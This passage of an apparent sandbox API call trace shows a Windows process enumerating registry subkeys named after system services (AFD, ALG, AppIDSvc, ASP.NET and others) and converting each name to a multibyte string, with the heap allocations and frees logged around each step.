[0247.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1b68, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0247.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.354] RegEnumKeyW (in: hKey=0x154, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0247.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f19b8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0247.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.354] RegEnumKeyW (in: hKey=0x154, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0247.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0247.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.354] RegEnumKeyW (in: hKey=0x154, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0247.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f19b8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0247.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.355] RegEnumKeyW (in: hKey=0x154, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0247.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0247.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.355] RegEnumKeyW (in: hKey=0x154, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0247.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0247.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.355] RegEnumKeyW (in: hKey=0x154, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0247.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0247.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.356] RegEnumKeyW (in: hKey=0x154, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0247.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0247.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.356] RegEnumKeyW (in: hKey=0x154, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0247.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0247.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.356] RegEnumKeyW (in: hKey=0x154, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0247.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0247.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.356] RegEnumKeyW (in: hKey=0x154, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0247.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0247.357] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.357] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.357] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.357] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.357] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0247.357] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.357] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f19b8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0247.357] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.357] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.357] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.357] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.357] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0247.357] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.357] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0247.357] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.357] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.357] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.357] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.357] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0247.357] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.357] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0247.357] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.357] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.357] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.357] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.357] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0247.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0247.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.358] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.358] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.358] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.358] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0247.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f19b8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0247.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.358] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.358] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.358] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.358] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0247.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0247.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.358] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.358] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.358] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.358] RegEnumKeyW (in: hKey=0x154, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0247.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0247.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.359] RegEnumKeyW (in: hKey=0x154, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0247.359] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0247.359] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1b68, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0247.359] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.359] RegEnumKeyW (in: hKey=0x154, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0247.359] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0247.359] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f19b8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0247.359] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.359] RegEnumKeyW (in: hKey=0x154, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0247.359] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.359] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0247.359] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.359] RtlFreeHeap 